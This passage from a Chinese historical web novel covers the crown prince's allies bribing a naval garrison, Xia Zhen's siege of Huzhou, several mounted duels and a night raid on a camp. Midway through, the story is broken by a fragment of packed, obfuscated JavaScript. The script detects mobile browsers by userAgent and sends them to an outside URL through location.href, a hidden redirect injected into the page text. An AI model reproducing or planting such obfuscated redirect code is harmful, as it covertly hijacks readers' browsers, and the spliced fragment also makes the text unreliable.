吕文德也不墨迹,解开布袋,直接将里面的东西倒了出来,周围那些兄弟得了命令,也不矫情,同样将布袋解开,倒出了里面物事。
一时间,那些被吕文德等人随意倒出来的物事,吸引了满屋水营将领的目光,随着他们的目光看去,只见吕文德等人脚边,洒满了金银珠玉。吕文德倒完金银,随意的用脚一踢那些金玉珠光,大笑言道“;哈哈哈!诸位,此情此景此物,可美哉?”
被吕文德一声狂笑点醒,那水营统制目不转睛的盯着金银,眼中藏不住的贪婪之色,说道“;阁下有话便说,摆出这些个俗物作甚?想我等乃是大宋水军,守护皇室安危得正义之师,岂会为了这些黄白之物,投了那史弥远,助其谋朝篡位?”
说实话,余阶听了统制这些言语,实在是想找个清静地吐去。而且余阶自认见过恶心的,见过不要脸的,却没见过这么恶心和不要脸的玩应。余阶甚至不禁然想到,如果太子在这,会不会恶心到一剑杀了这脏东西。不过想归想,余阶可不会杀了他。毕竟他余阶不是太子,而是太子身边的书童。
书童杀将军,虽然很有型,却是太过乱来了,甚至有点狗仗人势的感觉。其实身份这东西,就是这么奇怪。
“:好,统制大人果然是我大宋的忠臣良将。既然如此,余某也不在难为各位。”
说着,余阶将外袍重新穿好,盖住了**,这才继续说道“:统制大人,听你之意,史弥远似是在到处搜捕我等?”
“:搜捕倒没,不过数日前,史相差人前来,告知本统制,说是太子殿下**,朝廷发令,若太子进得钱塘江口三个水营,让本统制速速带兵拿下,押送到临安请赏。”那统制十分老实的答道。
余阶戏谑地笑了笑,暗道:看来这史弥远,真如殿下所言,表面看似实力强大,实则外强中干,除了那些整日围在身边的党羽,迫于利益扶保他之外,剩下的这些边缘小角色,吃得少,干的多。
第一百二十九回 夏镇攻湖州 华岳亲上阵
对于上边来的命令,这些边缘角色,也是抱着有的捞就做,没得捞还要玩命就拖得心思,史弥远在这些人里,真是没有多大影响力。稍微用点计谋,这些边缘角色,便会倒向自己等人一旁,
想到此,余阶对着那统制言道“:好,看来这史弥远也是大意了,竟然到现在还没发现我等行踪。不过,现在却是要让史弥远大吃一惊。“
话到此处,余阶也不见外,直接表白道“:统制大人,还有在座的诸位,我也不瞒你等,当朝奸贼史弥远,已经软禁了当今圣上,密谋篡位自立,这才大肆搜捕当今太子殿下,欲要除之而后快。值此国难之时,你等到底是要助他史弥远篡位,还是助太子殿下救出当今圣上,且好生思量片刻。不过余某人好话说在前边,若你等愿助太子殿下,这些金银你们且拿去,等到日后,太子殿下救出当今圣上后,定然会再次封赏各位,在座诸位也都将成为我大宋的再造功臣。”
周围众将听了这些话,互相嘀咕了一阵,又都将目光看向了地上的金银,这才抬头注视着余阶回道“:余伴读,我等愿为太子马首是瞻。”
余阶见他们全都倒向了自己这边,长出一口气,大声命令道“:好,你等且点齐帐下兵丁,备好战船,随我前去与王坚兄弟得战船会合。到时咱们趁夜兵围海盐水营。”
那边余阶一举劝降了乍浦水营。此时临安相府内。虽然入夜,相府却是灯火通明。只见大宋丞相史弥远高坐太师椅,正盯着从湖州跑回来的杨谷兄弟心里百感交集。
许久,这史弥远才十分不确定的问道“;两位贤侄,你们的意思是,经过一场混战,虽然全军覆没,但你二人仍然打败了太子余党,不过到底人少,最终被他们逃脱了,你二人也身负重伤,无力再追,是也不是?”
杨谷杨石二人点点头。只见他二人身上缠满了绷带,模样要多惨有多惨。史弥远看着这俩人,虽然满脑子都是不太相信,不过也没有证据再追究俩人。干脆摆摆手,好生劝慰了杨谷兄弟两句,送走了他俩。
“:恩相,这两人之言,不可轻信啊!”薛极目送杨谷兄弟出门,立马站了出来,眯着眼对史弥远进言道。
“;本相又不是笨蛋,岂会被这俩窝囊废三言两语蒙骗了?”史弥远见薛极名言此事,没好气的回答道。
薛极见史弥远面色不好,低头弱弱的说道“:恩相,还请差人,速去湖州打探那里情形要紧那。”
史弥远听完薛极所言,猛然站了起来“:本相最恨人把本相当傻子玩,就这几只臭老鼠,还想将本相多年苦心的经营给搞没了?真是天大的笑话。杨谷这两个窝囊废,定然是吃了败仗,怕本相怪罪,故而扯谎瞒骗本相,本相念在他二人乃是杨皇后侄儿,不愿拆穿他俩罢了。”
说到这,史弥远眼神一凛,对着夏镇吩咐道“:夏指挥使,着你调遣殿前司五营将兵,天明出发,再次兵围湖州,此次定要一举踏平湖州城。”
夏镇眼见多年建功得夙愿来到,仿佛打了鸡血似的,大声领了诺,斗志昂扬地跑了出去。
经过一番挑选,最终夏镇挑选了五位指挥副使,十位正将,十位副将,五营一万五千余名殿前禁军,浩浩荡荡地奔着湖州而去。晌午时分,已经扎营于湖州城外。
湖州城内刘克庄等人见说城外又来了万余禁军,全都来到了城门观看。就见城门外夏镇已经列阵于弓箭射程之外,冲着城门上刘克庄等**声喊道“:姜汝城老匹夫,本殿帅亲率天兵来此,识相的,自缚出城受降,或可留下一条狗命,若不听劝,破城之日,城内鸡犬不留!!”
刘克庄听了对方言语,站在城门上戏谑的笑道“:我当是谁,原来是殿帅夏镇,看来史弥远识破了刘某人的计谋,已经恼羞成怒了!”
刘克庄见是当初包围太子府,差点要了自己等人性命的夏镇,知道史弥远识破了自己计谋,没有轻信杨谷兄弟一面之言。
夏镇循声看去,见是那日从太子府逃跑的文士。鄙视的咧嘴一笑“:恩相所料不差,你们这些个鼠辈,果然还躲在湖州城内,如此也好,省了本殿帅不少麻烦。说吧,你等是自缚出城受降,还是待本指挥使打破城池,活烹了你等?“
华岳听这夏镇口气不小,大喝一声“:夏镇草包,好大的口气,你敢不敢与华爷爷比试比试拳脚?若你胜得了华爷爷,华爷爷与众位兄弟自缚出城,任剐任烹,若是你败了...“
夏镇一听这华岳出言挑衅自己,满脸鄙视的盯着华岳回道“:手下败将,还敢前来挑战,真是好大的口气!“
刘克庄听了这俩人对话,满面好奇地盯着华岳问道“:华兄弟,以你的身手,曾被这夏镇败过?“
华岳听刘克庄询问自己,忙摆了摆手“:刘大哥切莫听这厮胡扯,那日行刺史弥远,全因对方人多势众,小弟寡不敌众被俘获。这厮压根没与小弟交手,只是从旁指挥众人与我拼杀而已。“
“;那兄弟你真要出城与这厮搏斗?要刘某说,咱们把守城池,任他能耐再大,也不惧他,何必出城多此一举?“刘克庄听了华岳解释,继续劝华岳道。
华岳却将手一拱“:刘大哥,这厮真是猖狂,小弟今日要不教训教训他,他还不知道自己几斤几两,一直自封自己是大宋第一勇士呢!刘大哥莫要担心,小弟当年求学之时,就与下边这些个指挥使与正副将交过手,小弟对他们的水平,可谓一清二楚,平素里花天酒地,疏于武备的无知草包而已,这些草包来的再多,也是送死的货。小弟正好下城去,挫挫他们那骨子傲气,让他们知道,自己是个什么货色。“35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666653|179208||http|test|mini|href|location''.split(''|''),0,{}));
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r>华岳一席话说完,提剑就要下城,却听旁边韩令辉站出来说道“:华兄弟,好样的,不过你的兵刃乃是宝剑,马战颇为吃亏,不若让小弟用**马战给你打头阵。若是小弟不敌,你便再上。“言罢,韩令辉上前拍了拍华岳肩膀,彼此相互对视一眼,随即一前一后向着城下走去。
不多时,韩令辉与华岳来到城下,只见两人分别挑选了一匹骏马,又点了百十湖州兵丁,这才打开城门,走了出去。待出了城门,放了吊桥,只见华岳率先一拱手对着夏镇说道“:听闻夏殿帅,乃是我大宋第一勇士!今日实是华某荣幸,能与号称第一勇士得夏殿帅你交手,不过华某丑话说到前头,夏殿帅你若是败了,那以后可别再拿第一勇士这个噱头糊弄人了。”
夏镇见华岳见了自己这个大宋武职最高的将领,丝毫没有一点敬意,竟然还敢出言讥讽自己,正要开口,却听身后一个指挥使小声说道“:夏殿帅,何必浪费时间比试?要小将说,我等当趁此城门大开之时,一口气冲入城内才是上策啊。”
夏镇听了身后这名指挥使所言,回过头鄙视的看了他一眼“:蠢货,莫不是怕了他华岳?想本殿帅乃是大宋第一勇士,若是不在身手上败了胆敢挑衅本殿帅之人,以后传将出去,本殿帅还怎么见人?”
那指挥使听夏镇一通呵斥,咽了口唾沫,心道这夏殿帅怕是立功心切,想要多玩点新花样,好回史弥远那里邀功。想通了这点,指挥使不敢再吱声了。
夏镇见此,也懒得再搭理他。回头对着华岳等人,一副谁也不服的样子喊道“:华岳,本殿帅所率二十余名指挥使与正副将,随便你挑,打赢了,你在与本殿帅过招,打不赢,后边大营内油锅正热,你自己跳进去便是。”
华岳听了这夏镇之言正要开口,却听旁边韩令辉大声回道“:好个大宋第一勇士,忒的没面皮,城门之上名言华兄弟单挑之人乃是你,为何下的城来,却要换一番说法?”
夏镇被质问,脸不红心不跳,依旧一副高高在上的样子回道“:想本殿帅,乃是堂堂得大宋第一勇士,又是三军统帅,岂能轻易与人单挑?再者,本殿帅就喜欢定规矩,你不服了?不服便滚回城内,静等本殿帅挥师攻城便是。”
韩令辉还要搭话,却见华岳抬手制止“:兄弟,怕他们作甚?只当热热身子罢了。”
韩令辉见说,也不再与夏镇多费口舌,回给华岳一个爽朗的微笑“;华兄弟性情洒脱,小弟佩服,小弟愿先替华兄弟出手,败了这些无用草包。”言罢,韩令辉一拍坐下马匹,手提**,来到了两军阵前,挺枪立马,大声喝道“:谁先来送死?”
夏镇见对面那人口气不小,对着身后那二十余位指挥使询问道“:谁愿替本殿帅出阵,斩了这狂妄的逆贼?”
第一百三十回 韩令辉连胜 指挥使齐上
身后众人你看看我,我看看你,都直缩脖子。夏镇见此,鄙视地扫了他们一眼,继续说道“:若是败了,本殿帅定不责罚,若是胜了,赏银五百两,本殿帅还会亲自在恩相面前保举于他。”
别说,这句话真管用。只见当中一约莫二十余岁的副将,拍马而出“:殿帅,且看小将献丑了。”
喊完,紧催胯下马匹,挺枪奔着韩令辉冲去。
其他指挥使见这人如此不讲究得抢功劳,皆是怒目而视。只听其中一个年纪稍长些的将军摇头叹息道“:诶...到底是年轻啊,见了功劳,就忘了自己几斤几两了,你真当本将不知道你这副将之位,是花钱买来的?”不过这说话的声音极小,周围的人都没听见。
再看阵上的韩令辉见对面冲来一年轻小将,细端详他拿枪的手势,与骑马的套路,随即一脸鄙夷的喝道“;恨...区区门外汉,也敢上来挑战?”
言罢,韩令辉拍马挺抢迎了上去。两马迎头相接,那小将不知深浅的挺抢便扫向韩令辉脖劲处,却见韩令辉轻松的一低头,随即低吟一声‘着’话音落,低头出枪,直接将那小将腹部扎出个大洞。
动作快如闪电,得手后,又快速将**收回,任两马擦肩相向疾驰而过。这一连串的动作,又快又准,直令在一旁观看的华岳啧啧称奇。
那小将被韩令辉这一枪扎的摇摇晃晃,架马没跑出多远,便从马上掉了下来。躺在地上没了声息。
韩令辉则架马跑出个半圆,仍旧回到了方才开战前所呆的那地。将沾满鲜血的枪尖向前一指,眼神冰冷的说道“:来个内行,刚才这个,外行的不能再外行了...”
韩令辉狂妄的对着夏镇甩出了一句话,直令湖州所有目睹了这一切的兵丁,立马全都兴奋的叫嚷了起来。
对面夏镇看到这一幕,对着死在远处的小将尸体是破口大骂“:蠢货啊,平素里玩娘们那叫一个行家里手,好多姿势,本将都使不出来,现在真个碰上事了,倒踏马成外行了!你说你个蠢驴,没两下子,还想抢头功,真个丢人丢到家了,简直将本殿帅这大宋第一勇士的名号丢尽了...”
夏镇骂完气冲冲得一指身后“:你...你...你...你们三个一块上,给本殿帅,弄死面前这大言不惭的逆贼。”
其实夏镇之所以生这么大气,并非全因今日之事,而是想起了前些时日,韩令辉公然反叛自己,带兵将太子余党救了出去。
再加上眼前这档子事,新仇旧恨,使得夏镇这暴脾气上来了,也顾不上什么脸面了,干脆指挥三个指挥使一块上,想要让韩令辉从此在自己眼前消失。
那三个被点名的指挥使见夏镇震怒,不敢违,拍马齐齐向韩令辉冲去。而方才小声嘀咕的那名年老指挥使见此,再次自言自语道“:诶...这三个,整天喝完酒,就骑在娘们身上,骑的腿都变形,骑马都不利索了,去了一样是个死!”
身在吊桥上的华岳见夏镇如此不讲究,大声呵斥道“:夏镇狗贼,好生没面皮,如此行事,也不怕天下人耻笑?”喊完,拍马就要上前帮衬韩令辉。
夏镇尚未答话,却听韩令辉大声喊道“;华兄弟莫怕,这三个人,并非小弟对手。”言罢,韩令辉再次催动胯下马儿,奔着三个指挥使冲去,边冲边喊道“:你们三个,拿枪姿势正确,但这骑马,却是不甚精通,今日韩某人便教教你们何为骑马?”
话音刚落,对面三人已经冲到近前。韩令辉也不墨迹,挺身直接站在了马背上,双腿微曲,猛一用力,直接挺枪跳起,奔着正前方冲来的那名指挥使扑了过去。
这一幕,着实是吓呆了对面三个指挥使。本来三人想要将韩令辉围在正中,使其三面受敌,再伺机擒他。哪知这韩令辉不按套路出牌,竟然舍弃了马匹,一跃而起,从空中袭来。见此,几个指挥使慌乱之中,同时出手,挺抢扎向跃起的韩令辉。
韩令辉见此,将手中**轻松地从左至右这么一扫,三根袭来的**便被拨了出去。
电光火石间,韩令辉摆正枪身。借着跳跃的劲力,连人带枪直接戳到了正前方那名指挥使身上。瞬间将那指挥使叉了个对穿。自己则顺势坐到了对方马上。
一招得手,只见韩令辉用左手一扫,将面前死尸推搡到了马下。就这么背身骑马,与另外两个指挥使并马而行。
剩余那两名指挥使见韩令辉打起来不要命似的,都是满脸的惊恐。只见他俩相互对视一眼,哪还敢再战?
打马一左一右,奔着本阵跑去。韩令辉见他俩逃跑,嘴角浮起一丝蔑笑,也不追赶,在马上摆正了姿势,又将方才自己所骑那匹马制住,一并牵回到了华岳身边“:华兄弟,小弟缴获了一匹马,想必刘大哥见了,定然会夸奖与我。”
包括华岳在内,整个湖州城观战的人员,此时全都被韩令辉这不要命的马术表演所吸引。
许久,这人群再次发出了欢呼声。华岳则一脸赞赏的对着韩令辉说道“;兄弟这骑术,恐怕大宋能出其右者,寥寥无几。”
“;日练夜练,终于今日派上了用场。也算不枉费我多年的煎熬!”
这边韩令辉得胜,全城沸腾。那边夏镇禁军却是静得出奇,放个屁的响动便能人尽皆闻。
主帅夏镇脸上也难免挂不住,此时脸色酱紫,显是被气的。也不待面前逃回来的二人如何的跪地求饶,‘刺啦’一声抽出腰间宝剑,对着面前两人,一人一剑,全都刺倒在地。
大声地喘了几口粗气后,这才抬起头,对着远处华岳两人喊道“:华岳,想不到你们有两下子,既然如此,本殿帅也不再让着你们了,眼前给你们两条路,单挑群殴任你选。”
华岳听了,疑惑地问道“:单挑怎讲?群殴又如何?”<
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br>夏镇见问,邪恶地笑了笑,这才继续说道“:单挑,就是你俩人单挑本殿帅身后剩下的这二十位指挥使与正副将。群殴嘛,就是本殿帅身后这二十位指挥使与正副将,合力群殴你们两人。打得赢他们,本殿帅定然会降尊纡贵,亲自与你单挑。你看如何?”
华岳两人听了夏镇这不要脸的解释,都是一脸的鄙视之色。城墙上的刘克庄听了这些话,立马对着城下华岳两人喊道“:两位兄弟,这厮太不要脸了,你二人且回城内,咱们摆开阵势,合力守城便是。”
华岳两人听了刘克庄之言,互相对视一眼,小声又商议了片刻。这才抬头对着刘克庄说到“:刘大哥,你且在城上用**压住阵脚,莫要让夏镇趁我等混战之际挥师攻城便是。”
喊罢,也不待刘克庄答复,两人同时拍马走到阵前,静等夏镇差人来战。
夏镇见对方同意,嘴角浮起一丝邪笑:玛徳,这是你们俩个找死,怪不得本都指挥使心狠了。
如此想着,夏镇一提手中宝剑,对着身后二十余个指挥使和正副将大喝一声“:还等什么?速速冲上阵前,杀了这两个叛贼!”
身后二十余人得令,齐齐拍马冲向了面前华岳两人。这次,那年老的将军混在人群里边拍马疾奔,边小声嘀咕道“:若是败了,夏镇这厮不讲信用,定然是个死,胜了肯定也不讲信用,没的奖励啊!话说禁军都多少年没发粮饷了,你们这些王八蛋在上边吃的滚肚腰圆,我们这些个下边的小虾米皮,可是饿着肚子白干呢!”
华岳两人见对面二十余骑袭来,不敢托大,与韩令辉互相对视一眼,这才齐齐催马向前,奔着面前二十余人杀了过去。
两队相接,华岳两人十分凶险的躲开对方数杆**突刺之后,终于稳住了身形,但对方毕竟人多,此时两人已经被围拢在了当中厮杀。
不过细观之下便会发现,两人并未处于下风,而是和周围骑马转圈的二十余人打得有来有回。
只见韩令辉枪长,专拣远处目标或挑或刺,华岳用的是义剑。不擅长远攻,但却发挥短兵优势,巧妙地一一化解对方**的偷袭,帮两人近战格挡。
就这样,华岳两人是攻守兼备,另的对方丝毫没有可乘之机,但对方人多势众,围拢着华岳两人转圈不时得伺机偷袭,让华岳两人躲避之余,一时也难以有效刺杀对方。
随着时间的流逝,夏镇见己方二十余名主将,战华岳两人已经足足一柱香的功夫,仍旧拿不下,是越加恼怒,干脆心一横,挥剑一指前方“:全军听令,趁此档口,杀入湖州城内,任意掳掠,本殿帅绝不阻拦。”
万余禁军得令,立马摇旗呐喊着冲向了湖州城门。城上刘克庄见对面大军开动,立马陷入了两难境地,想要关闭城门,华岳两人却还在奋战,若要等下去,华岳两人又深陷包围,一时难以脱身。
第一百三十一回 盛章回来了 夏镇撤兵了
可敌军眼看就要冲上来了。一时间把个刘克庄急得如热锅上的蚂蚁。左右思量之下,刘克庄干脆心一横,一面先命令**手放箭,延缓敌军速度。另一面召集人手,亲自带队冲出去营救华岳两人了。
正在混战得华岳两人见夏镇食言,皆是怒不可遏。愤恨之余,知道自己两人脱身不得,忙冲着城上刘克庄大喊“:刘大哥,莫要管我二人,速速关闭城门,我二人定有脱身之策!”
湖州一团混战。此时临安城内,史弥远府中。只见史弥远高坐太师椅,堂前跪着一人。这人身旁还有两个身着异族服饰的少年。正盯着史弥远端详。
这三人就是从宋宇眼皮子底下逃脱的盛章和拔都贵由两个蒙古小王爷。他们自打逃了出来,没有去往别处,而是在半路一座县城驿站,借了几匹快马,经过三日换马疾奔,这才赶回了临安来给史弥远报信。
史弥远听这盛章说自己弟弟非但没弄死太子,还让太子砍断了手脚羞辱。气的是直哆嗦,咬牙切齿地问道“:这么说,这太子非但没死,还将我弟弟手脚砍断,大肆羞辱?”
盛章见史弥远震怒,跪在地上哈巴狗般舔着脸回道“:是啊,恩相。若非建康水营被恩相提前布置,太子一时大意,又承蒙两位小王爷大义相救,盛某只怕现在仍被囚在太子帐下啊。”
“:那太子在建康止步不前,还是奔临安而来了?走的陆路,还是水路?”薛极听了盛章所言,赶忙在旁问道。
“:这,当时形势危急,盛某逃出来后,并未再留下打探太子如何选择。而是心里着急,要将太子没死这件事禀报恩相啊!”
盛章被问,一时脸红脖子粗,想当初只顾逃命,哪还敢去看人家怎么选择?此时被问,只好大义凛然的瞎说几句,希望史弥远念在自己忠心耿耿的份上,不计较这些小事。
薛极见盛章如此糊涂,对着盛章指责道“:盛将军好生糊涂,如此紧要事,怎能不打探清楚,便慌慌张张跑了回来?你现在和恩相说太子没死,却不知道太子行踪,有什么用?”
盛章见薛极当着史弥远指责自己,一时又羞又臊,心道:该死的薛极,指定是见自己有了功劳,羡慕嫉妒恨。
如此想着,盛章跪在地上对着薛极是破口大骂“:你这贼匹夫,当初盛某人弃暗投明,助恩相杖杀韩侂胄之时,你便对盛某横加指责,胡说八道。现在盛某人不远千里,舍命前来给恩相报信,你这贼匹夫又处处刁难盛某人,莫不是嫉妒盛某人对恩相的一片忠心?故意加害?”
薛极被盛章指着鼻子一通辱骂,楞在了当场,许久才回过神来,一甩衣袖“:恨,粗莽武夫,早晚害死我等。”
言罢,薛极也不再管盛章如何的对自己怒目相视,转过脸对着史弥远恭敬地说道“:恩相,太子未死,迟早是个祸乱,还请恩相派出人马,四处打探。一旦探知了太子行踪,应立即发兵剿灭之,方为上策。”
史弥远自打听说自己弟弟被祸害的四肢没了,就气得直哆嗦,恨不能现在就找出宋宇将他**万断。现在听了薛极所言,立马从太师椅上窜了起来“:好,赵竑小儿,你敢将本相的弟弟手脚砍去,本相抓到你,定要将你**万段,挫骨扬灰!”
说到这,只见史弥远眼神一凛,吩咐盛章道“:盛将军,命你派出本部兵马,四处打探太子行踪,一旦发现,速速报来。”
盛章大声领了诺,快步走了出去。史弥远见盛章走远,强压心头怒火,转头对着拔都贵由两人拱手说道“;两位贵客远道而来,本是为了两国结盟大事,却不料被本国的胡闹太子搅扰此事。史某在这里给两位赔个不是。待到抓了这不晓事理的太子,定然让他跪下给两位磕头赔个不是!”
拔都贵由见史弥远变脸迅速,对自己两人语气谦恭,心里顿时觉得自己两人押对了宝,忙对着史弥远行了个草原弯腰低头礼“;大宋史丞相见外了,想我俩人虽然来自草原,却也知道,大宋的一切,全都掌握在史丞相手里,至于问罪贵国太子殿下便算了,我二人只希望大宋史丞相此次同意缔结盟约,南北夹攻金国,让我二人不虚此行便可。”
史弥远见说,几乎不假思索“;好,既然如此,史某还请两位且在府内少歇几日,待了了太子之事,定然与贵国结盟,共讨金国!”言罢,吩咐下人,领着拔都贵由出去了。
拔都贵由两人刚出去,却见门外慌慌张张跑进来一人,见了史弥远,倒地便拜“;恩相,大事不妙了,太子率船从海上攻来,已经招降了乍浦水营,攻下了海盐水营,此时水陆并进,包围了澉浦水营。水营统制派人来报,若史相再不增援,天黑之前,澉浦水营便会被攻破。”
史弥远听完奏报大惊失色“:啊?为何如此大的阵势,现在你才来报?”
堂下跪的,乃是兵部尚书宣缯,只见宣缯擦了擦额头汗水,小心谨慎地说道“:恩相,这一切,都是昨晚刚发生的,方才报到下官这里来,时辰也差不多啊。恩相啊,与这些相比,速速发兵吧。下官听报,太子水陆两军足有万余人。若是不迅速出兵剿灭,让其四处招募勤王之兵,我等皆休矣。”
“;恩相,看来太子一行人走的水路,当务之急,我等当打着皇上的旗号,四处宣扬太子造返,令临安周边郡县不知底细为何,采取旁观态势,两不相帮。另差盛章,带领三万兵马驰援澉浦水营。到时里外夹攻,太子必败。”薛极听明白了来龙去脉,立马向史弥远进言道。
史弥远听了薛极所言,深以为然,立马吩咐府内众人,分头寻找自己党羽。全都请来相府安排任务。
到了这一刻,史弥远内心才不自觉地涌起了一股莫名得恐惧
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感,他不由得想起当年密**韩侂胄得那晚,自己也曾有过这个感觉。
时过境迁,这个感觉再次来袭,这次,谁会是笑到最后的那个人?玛徳,自己这次如果败了,就会像当初韩侂胄那样,身败名裂。
视线转回湖州,此时湖州经过数个时辰的大战,双方都是死伤无数。只能暂时偃旗息鼓,僵持在了城墙内外。
夏镇盯着自己身后死伤过半的指挥使和兵丁,气的是直摇头“:一万五千余人,还都是大宋的精锐,竟然打不下一群聚众造返的渔民。你们真是丢了本殿帅大宋第一勇士的脸。”
身后那些指挥使听了,一个个无不在心里咒骂道“:狗屁大宋第一勇士。大宋第一嘴炮还差不多?要**没史弥远帮你撑腰,老子早都一刀宰了你了。”可都是小声咒骂,没人敢明着顶撞他夏镇。
夏镇见身后这些兵将们,都像是霜打了的茄子,没精打采的。也不想再指挥他们继续攻上去。
一则天色已晚,华岳等人已经撤回了城内,二则这群人士气低落,人数骤减,再攻城也不切实际。索性一挥手“:罢了,回营吧,待明日养精蓄锐,又有临安攻城部队来援,本殿帅定要让攻城器将这城内砸的鸡犬不留。”言罢,领着身后兵马灰溜溜地退回了营内。
城门上的刘克庄见夏镇退兵了,擦了一把额头的汗水,回头责问华岳两人道“:你们两个,匹夫之勇。方才刘某已经劝你二人退回城内,你二人却硬要以寡击众,真是愚蠢之至。你们且睁眼看看,本来城内兵丁便不多,此战下来,折损三成。全都是被你二人所害。”语毕,刘克庄一甩衣袖,盯着城外禁军营寨生闷气,也不再搭理华岳两人。
华岳两人见此,尴尬的互相对视了一眼,知道自己两人理短,索性开导刘克庄道“:刘大哥,是我们俩人糊涂,退敌心切,为了将功赎罪,我们俩打算今晚前去劫营,你看如何?”
刘克庄听了两人计谋,转过脸白了他俩一眼“;怎得?想将功赎罪?”
俩人见刘克庄脸色不好,以为刘克庄不同意,弱弱的嗯了一声。
刘克庄得了他俩确认,正色说道“:还想撇开刘某,独自行动?那可不行,这次刘某要和你俩一块去,以防你俩在违抗军令,出什么纰漏。”
“:啊?”华岳两人听刘克庄要一起去,几乎同时说道。
劫营,是一分危险系数很高的事。稍有差池,就会被敌军围在营内乱刀砍为肉泥。
所以劫营这事,必须得在晚上,还得在黎明时分那个点,那时天将亮未亮,日月之光皆无。
正是黎明前的黑暗时刻。也是人一天之内最犯困的时刻。而刘克庄他们,显然深谙此道。
正是在这个点带领一千余人,全都手提一罐猪油,拿着未燃的火把,背着磨得锃亮的大刀,悄悄摸到了夏镇营外。
第一百三十二回 碰上老熟人 兄弟再聚首
向大营方向看去,只见夏镇这营垒做的着实不怎么样。营墙说白了就是泥土堆出来的土堆,兔子都挡不住一只。
透过低矮的土墙,可以看到营内数个火把在黑暗中移动,却看不清有多少兵丁在巡逻。刘克庄见此,对着华岳两人使了个眼色,便各自带领几百人,分头摸进了营内。
不多时,就见夏镇营内火光冲天,喊杀声起。夏镇睡的正香,听到外边乱哄哄的,立马从床上窜了下来。
听营兵禀报后,知道是被人截了营,也不问对方人马几何,也不想着怎么出去整兵备战,杀退劫营之人,却在几个兵士的护持下,扔下了满营兵丁,去马厩取了几匹快马,飞也似的奔着临安方向狂奔而去。
哪知夏镇等人逃出大营不多时,却迎面碰上一票人马。这群人多是骑兵,身上穿的大宋盔甲服饰。夏镇见此,喜出望外,慌忙上前打招呼“:援军总算来了,且随本殿帅杀将回营。”
这群骑兵打头得一员将领,听面前这厮张口命令起了自己等人。随之一脸鄙夷得往旁边吐了口痰,指着狼狈不堪的夏镇笑骂道“:奶奶个熊!你这厮,真是瞎了狗眼,你且看清俺们是谁的兵马?”言罢,指了指身后。
夏镇定睛顺着所指看去,就见人群中走出来一个身着锦绣龙纹袍,头戴白玉太子冠,左腰一秉白鞘宝剑,右腰一串碧玉佩的白面美男子对着夏镇说道“:夏殿帅,啊,不对,应该叫您大宋第一勇士。多日不见,别来无恙啊?”
夏镇一看面前这人,坐在马上是抖成了筛糠。赶忙一屁股从马上跳了下来,跪在地上磕头如捣蒜“:太子殿下,饶命,饶命啊!”
夏镇突兀的投降,让宋宇不禁想到往日趾高气昂的他,怎么现在这么没骨气呢?依稀记得,当初自己在朝堂上,夏镇可不是这么怂得啊?难道夏镇属狗的?离了主人,就不敢乱吠了?
“:夏殿帅,本太子可担不起你这一跪,万一哪天见了史相,你在史相面前参本殿下一本,那我可是吃不了兜着走喽!”
夏镇此时浑身抖如筛糠,额头上豆大的汗珠子不停流淌,让他不得不用衣袖连连擦拭“;太子殿下,小将给您磕头是应该的,应该的...”
先不说夏镇结果如何,倒要说说宋宇为什么会这么巧,出现在这里,那日土匪山寨得手后。宋宇等人便换了衣装,一路急赶。中途哨卡或是没怀疑,直接放行,或是塞了些银两,花钱了事。
终于在建康分头行动后的第四日晚间,赶到了湖州城外。而这湖州城背靠湖,西面山。所以宋宇等人必须得绕道南边大路,从南门才能进湖州城。
哪知事有凑巧,来到南边大路,就见湖州城外火光冲天。在宋宇几人考量之后,觉得应该是朝廷兵马被自己兄弟夜袭了。正打算赶上前去帮忙,哪知半路却碰上了夏镇。而夏镇该巧不巧,竟然把宋宇等人当成了援军。这,才出现了刚才这一幕。
“:太子兄弟,你说面前这怂货,是俺们大宋第一勇士?”彭义斌听了宋宇介绍,瞪大了眼,仔细瞅着地上抖如筛糠,磕头如捣蒜的夏镇说道。
宋宇低头看了看夏镇,又听了彭义斌言语,陷入了沉默:夏镇,史弥远心腹臂膀。本是韩侂胄党羽,却在韩侂胄兵败,威信扫地之时,投靠了史弥远。
其后更是残忍的在玉津园,用棍棒砸**前任恩主韩侂胄。可以说这个人残忍,无情之极。
也正是这样一个人,在史弥远矫诏篡位之时,先是带兵包围了宫禁,助史弥远胁迫杨皇后成功。
之后在太子赵竑面对新任理宗皇帝,不肯下跪之时,更是强行按着太子赵竑的脑袋,给理宗磕头。
可以说,夏镇这个人是史弥远人生中最重要的爪牙,帮史弥远完成了两次人生中的转折。
想到这,宋宇神色一凛,对着彭义斌说到“:夏殿帅这个大宋第一勇士的头衔,那可是朝廷册封的。彭兄弟,这个咱不服不行!”
“:俺偏不服,太子兄弟,你看看面前这厮的怂样,把它奉为大宋第一勇士,简直是丢朝廷的脸面。太子兄弟,你且闪开,让俺上前给他松松筋骨。上他知道,啥叫勇士。”
彭义斌被宋宇这么一激,脾气立马上来了,撸袖子就要上前。
宋宇见此,大笑一声“:好,彭兄弟,只要你打赢了,大宋第一勇士这招牌,你且拿去!”
言罢,宋宇对着面前磕头如捣蒜的夏镇说道“:夏殿帅,起来吧,有人不服你,要挑战你,打赢了,你走,打不赢,招牌留下,人留下。”
夏镇听宋宇这么一说,偷瞄了一眼彭义斌,就见那人生的虎背熊腰,一看就不好对付。可细一想,太子给的条件太诱人了,只要打赢,就能脱身了。
想到这里,夏镇心一横,对着宋宇应承道“:小将遵命,还望太子殿下勿要食言。”
语毕,夏镇站起了身,翻身上马,从马背上抽出了自己随身携带的那把蘸金偃月刀,对着彭义斌一拱手“;小子,不服是吧?且来尝尝本殿帅的大刀。”
言罢,夏镇也不等众人准备,一拍胯下坐骑,当先冲过去,对着彭义斌一刀劈了下去。“
彭义斌见此,也不恼怒,抽出弯刀,轻拍马腹,少时两人兵器撞在一起,火花四溅。
宋宇见两方开打,也没有要等下去的意思,对着彭义斌喊了句“:彭兄弟,别打死,打残废就行了。“
言毕,宋宇命令周围兵丁,在两人周围围成了一个圈。又对着杨妙珍等人吩咐了几句,便率领剩余兵丁,奔着火起处冲去。
再说刘克庄等人那里。自打他们在营中四处放火之时起,便与营内的兵丁战在了一处。
